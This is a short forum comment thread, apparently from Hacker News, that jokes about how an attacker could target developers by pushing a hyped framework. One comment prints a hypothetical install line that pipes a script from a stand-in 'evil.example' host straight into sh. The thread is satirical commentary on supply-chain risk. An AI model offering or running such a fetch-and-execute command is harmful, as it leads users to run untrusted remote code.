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Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack. If I was some evil-doer though I'
by jszymborski 10y ago
Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack.
If I was some evil-doer though I'd develop some marketing heavy Javascript/Rust/language-of-the-week framework, hit HN frontpage and have the call-to-action copy be:
> Install in picoseconds!
> curl -sf http://evil.example/evil_install.sh http://evil.example/evil_install.sh | sh
edit: corrected hypothetical attack
- tyingq 10y agopedantic, but that wouldn't actually do much ;)
- jszymborski 10y agolool oops, thanks. Fixed it up :)
- detaro 10y agoshould at least have https, that makes it much more secure or something